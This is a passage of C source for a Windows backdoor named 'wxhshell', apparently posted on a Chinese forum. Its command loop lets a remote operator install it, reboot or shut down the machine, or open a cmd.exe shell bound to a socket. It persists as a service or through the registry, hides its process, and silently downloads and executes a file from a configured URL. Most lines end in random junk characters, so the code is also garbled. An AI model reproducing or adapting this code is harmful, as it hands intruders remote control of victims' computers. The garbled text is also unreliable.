    switch(cmd[0]) { YI,t{Wy  
  62zu;p9m  
  // 帮助 s_VcC_A  
  case '?': { AguE)I&m  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 9,`i[Dzp  
    break; rVoV@,P  
  } T>rmm7F  
  // 安装 V@#oQi*  
  case 'i': { PDuBf&/e  
    if(Install()) ~i>DF`w$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %\T,=9tD\  
    else K3[+L`pz  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~h;   
    break; 4dPTrBQ?  
    } d9;&Y?fp  
  // 卸载 "YgpgW  
  case 'r': { kodd7 AD  
    if(Uninstall()) nk%v|ZxoFv  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 52tc|j6~#  
    else $KGMAg/H  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); fPUr O  
    break; VYkh@j  
    } \?T9 v  
  // 显示 wxhshell 所在路径 zHX\h [0f  
  case 'p': { Jl`^`Yv  
    char svExeFile[MAX_PATH]; =zK4jiM1  
    strcpy(svExeFile,"\n\r"); 4hwb] Yz  
      strcat(svExeFile,ExeFile); J#F5by%8  
        send(wsh,svExeFile,strlen(svExeFile),0); *0!p_Hco  
    break; f/#Id]B  
    } 'A7!@hVy  
  // 重启 8lYA6A  
  case 'b': { wPjq B{!Q  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ZxwrlaA  
    if(Boot(REBOOT)) %N<5ST>(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); yef\Y3X  
    else { U,EoCAm>  
    closesocket(wsh); K%\r[NF  
    ExitThread(0); yT@Aj;X0v  
    } h' !C  
    break; ?0qD(cfx<  
    } aM;SE9/U  
  // 关机 Y_:jc{?  
  case 'd': { b3E1S+\=~  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); .c+U=bV-  
    if(Boot(SHUTDOWN)) w>^(w<~Y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); w_Slg&S  
    else { )0exGx+:  
    closesocket(wsh); -|#{V.G3'  
    ExitThread(0); ZPG,o5`%  
    } :.e'?a  
    break; `K.C>68  
    } x'x5tg  
  // 获取shell xj>P5\mW#  
  case 's': { fe/;U=te  
    CmdShell(wsh); .b3h?R*&  
    closesocket(wsh); JVX)>2&$  
    ExitThread(0); h2Nt@  
    break; jL\j$'KC  
  } 9,INyEyAL  
  // 退出 B\RAX#  
  case 'x': { Zpkd8@g@  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); =eU=\td^  
    CloseIt(wsh); 7 mCf*|  
    break; 5 :IDl1f5  
    } -eF-r=FR  
  // 离开 {kk%_q  
  case 'q': { //2O#Fg{/  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ?pW1}: z  
    closesocket(wsh); h8`On/Ur_8  
    WSACleanup(); M=liG+d  
    exit(1); K'Ywv@  
    break; 2j%=o?me^p  
        } wBXa;.  
  } M\m:H3[  
  } `CS\"|z  
s`bGW1#io  
  // 提示信息 6~%><C  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ? ;CIS$$r  
} RQQ' Wg  
  } \s*UUODWK  
LVB wWlJ  
  return; =SLG N`m3  
} Ow/,pC >V  
AyO%,6p[  
// shell模块句柄 i#*[, P~  
int CmdShell(SOCKET sock) uAA2G\3  
{ b_~XTWP$l  
STARTUPINFO si;  \nEMj,)  
ZeroMemory(&si,sizeof(si)); /=p[k^A  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; !~vK[G(R  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; PG63{  
PROCESS_INFORMATION ProcessInfo; _gqqPny4$  
char cmdline[]="cmd"; c1k[)O~  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ;Yee0O!d4  
  return 0; !y b06Z\f  
} B8Fb$  
u?`{s88_mF  
// 自身启动模式 LsWD^JE.  
int StartFromService(void) ruGJZAhIA^  
{ yk8b>.Y\A  
typedef struct Ljm`KE\Q;t  
{ )\Q(=:  
  DWORD ExitStatus; Pb'(Y  
  DWORD PebBaseAddress; x;7l>uR  
  DWORD AffinityMask; Qf( A  
  DWORD BasePriority; T5u71C_wmt  
  ULONG UniqueProcessId; 1- s(v)cxh  
  ULONG InheritedFromUniqueProcessId; ^5E9p@d"J  
}   PROCESS_BASIC_INFORMATION; $~b6H]"9  
i`gM> q&  
PROCNTQSIP NtQueryInformationProcess; <4Gy~?  
Nf )YG!  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; v=@y7P1  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; r5~ W/eE  
@bA5uY!  
  HANDLE             hProcess; ~Q_7HJ=^$  
  PROCESS_BASIC_INFORMATION pbi; $.Tn\4z&  
5K1cPU~o_b  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); O"'xAPQW  
  if(NULL == hInst ) return 0; v'S]g^  
&K0b3AWc  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); `CVkjLiy  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); &'>m;W  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); hEB5=~A_  
(U&  
  if (!NtQueryInformationProcess) return 0; -SM_JR3<  
$$m0mK  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); P5?VrZy  
  if(!hProcess) return 0; &NBH'Rt  
qqw P4ceG  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ,kJ7c;:i  
>O\+9T@  
  CloseHandle(hProcess); +u Iq]tqe  
!Sn|!:N4  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); x\G%  
if(hProcess==NULL) return 0; I #1~CbR  
|;US)B8}*Z  
HMODULE hMod; :+/8n+@#  
char procName[255]; n!z!fh  
unsigned long cbNeeded; V,rc&97  
-E?:W`!  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); o^~ZXF}  
@[J6JT*E  
  CloseHandle(hProcess); *,Bm:F<m  
T$lV+[7  
if(strstr(procName,"services")) return 1; // 以服务启动  .+1I>L  
Z}$sY>E  
  return 0; // 注册表启动 |` :cB  
} 62HA[cr&)  
06]3+s{{  
// 主模块 E'a OHSAg  
int StartWxhshell(LPSTR lpCmdLine) X\Bl? F   
{ .h meP MK  
  SOCKET wsl; Ts !g=F  
BOOL val=TRUE; aPelt`  
  int port=0; gw"cXny  
  struct sockaddr_in door; Cy?]o?_?  
1]:,Xa+|S  
  if(wscfg.ws_autoins) Install(); {KHI(*r;  
[gBf1,bK  
port=atoi(lpCmdLine); 2%WeB/)9  
&"%Ws{Qn]  
if(port<=0) port=wscfg.ws_port; 7=Muq]j2  
our ^J8  
  WSADATA data; :o!Kz`J  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; X0 |U?Ib?  
/#Pm'i>B  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   u"qu!EY2  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); "j_iq"J  
  door.sin_family = AF_INET; "a[;{s{{.  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); qIuo8o}  
  door.sin_port = htons(port); ,<L4tp+y0  
r[!~~yu/o  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) {  )58O9b  
closesocket(wsl); Jt5V{9:('  
return 1; Vx<{cHQQ  
} ( 3B1X  
s@{82}f~  
  if(listen(wsl,2) == INVALID_SOCKET) { AF#: *<Ev  
closesocket(wsl); w3(G!:  
return 1; [nxYfER7  
} ~JT2el2W7p  
  Wxhshell(wsl); 8~O#@hB~3  
  WSACleanup(); I]eeV+U8W  
x >ah,  
return 0; P{)D_Bi  
g*b`o87PI  
} - 2L(])t6  
(@} ^ 3jpT  
// 以NT服务方式启动 z~h?"'  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Q(f0S  
{ Dh`&B   
DWORD   status = 0; _5 SvZ;4  
  DWORD   specificError = 0xfffffff; 7310'wc  
E9\"@wu[d  
  serviceStatus.dwServiceType     = SERVICE_WIN32; GbO j% a  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; neu+h6#H  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; vy~6]hH  
  serviceStatus.dwWin32ExitCode     = 0; %q|* }l  
  serviceStatus.dwServiceSpecificExitCode = 0; "J,|),Yd  
  serviceStatus.dwCheckPoint       = 0; ouCh2Y/_  
  serviceStatus.dwWaitHint       = 0; =Lkn   
MPUyu(-%{  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); enPtW  
  if (hServiceStatusHandle==0) return; y<6Sl6l*  
^4`x:6m  
status = GetLastError(); p'LLzc##  
  if (status!=NO_ERROR) g sm%4>sc  
{ R8[VD iM6E  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 0 8L;u7u  
    serviceStatus.dwCheckPoint       = 0; &C MBTY#u  
    serviceStatus.dwWaitHint       = 0; qWW\d' , .  
    serviceStatus.dwWin32ExitCode     = status; K{_~W yRF  
    serviceStatus.dwServiceSpecificExitCode = specificError; liYsUmjZ=  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Vw w 211  
    return; Kq")|9=d  
  } sP^:*B0  
\9,lMK[b  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; kKF=%J?X  
  serviceStatus.dwCheckPoint       = 0; /b # w.>e  
  serviceStatus.dwWaitHint       = 0; k I`HD  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); I7Kgi3  
} 0z \KI?kd  
JYNn zgd  
// 处理NT服务事件,比如:启动、停止 Y&bYaq  
VOID WINAPI NTServiceHandler(DWORD fdwControl) gWHY7rv  
{ =T3{!\tH  
switch(fdwControl) (QIU3EN  
{ 4OM ]8I!  
case SERVICE_CONTROL_STOP: G h+;Vrx  
  serviceStatus.dwWin32ExitCode = 0; ?M4ig_  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; UZt3Ua&J  
  serviceStatus.dwCheckPoint   = 0; &c-V QP(  
  serviceStatus.dwWaitHint     = 0; vVtkB$]L  
  { WrwbLlE  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); mIf)=RW  
  } BsXF'x<U*  
  return; P4"BX*x  
case SERVICE_CONTROL_PAUSE: ij] ~n  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 9HR1m 3  
  break; b [HnhAI  
case SERVICE_CONTROL_CONTINUE: HAE$Np|>a  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 0>j0L8#^p  
  break; ds(X[7XGW  
case SERVICE_CONTROL_INTERROGATE: LiHJm-  
  break; Mm8_EjMp  
}; qDG x (d  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); NblPVxS  
} uD{-a$6z  
;PMPXN'z6  
// 标准应用程序主函数 $o+@}B0)  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow)  ^4WZ%J#g  
{ A?HDY_u  
ksU& q%1  
// 获取操作系统版本 9u=]D> kb  
OsIsNt=GetOsVer(); e?(4lD)d  
GetModuleFileName(NULL,ExeFile,MAX_PATH); O~8jz  
Wp = ]YO  
  // 从命令行安装 Z5rL.a&  
  if(strpbrk(lpCmdLine,"iI")) Install(); o&q:b9T  
MA tF,  
  // 下载执行文件 wIRU!lIF9  
if(wscfg.ws_downexe) { dW/(#KP/+  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) )%Xp?H_  
  WinExec(wscfg.ws_filenam,SW_HIDE); d^?e*USh  
} y46sL~HRv  
" ?aE3$/  
if(!OsIsNt) { {>9<H]cSP  
// 如果时win9x,隐藏进程并且设置为注册表启动 w,6gnO  
HideProc(); S8;c0}-  
StartWxhshell(lpCmdLine); uUaDesz~=  
} ax _v+v %  
else dn~k_J=p  
  if(StartFromService()) xPF.c,6b4=  
  // 以服务方式启动 }c9RDpjh~  
  StartServiceCtrlDispatcher(DispatchTable); tWZ8(E$  
else ow (YgM>t  
  // 普通方式启动 lnl>!z  
  StartWxhshell(lpCmdLine); :p<:0W2!  
/3 L4K  
return 0; 4UL"f<7 T  
}
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只看该作者 1 发表于: 2006-10-10
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